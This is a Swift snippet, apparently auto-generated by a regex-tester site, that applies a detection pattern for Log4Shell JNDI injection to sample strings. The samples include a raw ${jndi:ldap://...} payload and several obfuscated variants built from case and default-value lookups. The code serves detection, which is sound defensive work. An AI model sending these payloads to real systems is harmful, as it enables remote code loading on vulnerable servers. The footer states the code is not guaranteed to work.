import Foundation
let pattern = #"\${(\${(.*?:|.*?:.*?:-)('|"|`)*(?1)}*|[jndi:lapsrm]('|"|`)*}*){9,11}"#
let regex = try! NSRegularExpression(pattern: pattern, options: .anchorsMatchLines)
let testString = #"""
[>] jndi inject model start...
[+] Raw payload:
${jndi:ldap://127.0.0.1:1099/obj}
[+] {[upper|lower]:x} Random obfuscate:
${${upper:j}ndi:ldap${lower::}//127${lower:.}${lower:0}.0.1${lower::}1${lower:0}9${lower:9}/ob${lower:j}}
[+] {[upper|lower]:x} all the obfuscate:
${${upper:j}${lower:n}${lower:d}${lower:i}${lower::}${lower:l}${lower:d}${lower:a}${lower:p}${lower::}${lower:/}${lower:/}${lower:1}${lower:2}${lower:7}${lower:.}${lower:0}${lower:.}${lower:0}${lower:.}${lower:1}${lower::}${lower:1}${lower:0}${lower:9}${lower:9}${lower:/}${lower:o}${lower:b}${lower:j}}
[+] {::-n} random obfuscate:
${jn${zwbIes:o:Bmmy:YGM:IoEt:-d}${nNJ:bP:LLecz:-i}${V:aTCz:SMYnf:nVwz:iWrhM:-:}l${IkcQG:KqY:DNlC:blYP:-d}${dMnno:LY:lm:o:gfceFK:-a}${YRLF:-p}${oPWM:tEf:Nm:B:gtF:-:}${Kw:-/}/12${oyBx:-7}.${fGURHq:jUkxp:LiRat:TFGT:-0}${RsEN:-.}${gqxRsv:-0}.${DP:A:zc:Bxk:-1}${Fgp:xnDqO:ymI:Ei:OiGvf:-:}109${BNuY:RNph:VQ:-9}${OEB:mqId:ShLsGJ:WGCQ:-/}o${JQ:ipL:PkyY:-b}j}
[+] {::-n} all the obfuscate:
${${w:Diwn:-j}${nefD:Xih:oCs:l:-n}${cFCwSi:AA:tOqrpE:-d}${fC:ap:uQ:jOT:Dw:-i}${lMK:HQnIQ:Tdn:MzzGN:-:}${dumM:-l}${d:wSdIa:Ot:-d}${XB:oktyjp:QTCl:-a}${KbVE:YOA:qRaof:z:nwv:-p}${XFMG:B:uz:gb:-:}${pBmmGn:waCidF:TXkIzf:-/}${bnb:Qi:vhQi:-/}${spw:t:Lgo:fmcGv:-1}${PvEYM:T:FpFw:c:C:-2}${Tzd:Sn:WXeQ:-7}${cg:xw:qoJuX:NVjaam:-.}${P:vkp:MP:YgX:DoHSm:-0}${jAO:i:zlpnK:aeGVI:YFHd:-.}${jDvpmy:xc:-0}${g:XCXx:yQImF:-.}${QQ:GYcUYC:-1}${CON:XEI:EcX:REGEIc:-:}${ipIDmp:jVt:-1}${LHjMhu:liwEPU:qFQRj:PL:-0}${nUfCc:TKhXP:Slx:IY:-9}${cbEh:vz:Szv:-9}${eFAO:F:-/}${fqUl:EElTW:Jbm:e:WOJDWw:-o}${CewNm:arlr:-b}${DULc:DFbNv:JMEG:i:-j}}
[=] jndi inject model stop
"""#
let stringRange = NSRange(location: 0, length: testString.utf16.count)
let matches = regex.matches(in: testString, range: stringRange)
var result: [[String]] = []
for match in matches {
var groups: [String] = []
for rangeIndex in 1 ..< match.numberOfRanges {
let nsRange = match.range(at: rangeIndex)
guard !NSEqualRanges(nsRange, NSMakeRange(NSNotFound, 0)) else { continue }
let string = (testString as NSString).substring(with: nsRange)
groups.append(string)
}
if !groups.isEmpty {
result.append(groups)
}
}
print(result)
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Swift 5.2, please visit: https://developer.apple.com/documentation/foundation/nsregularexpression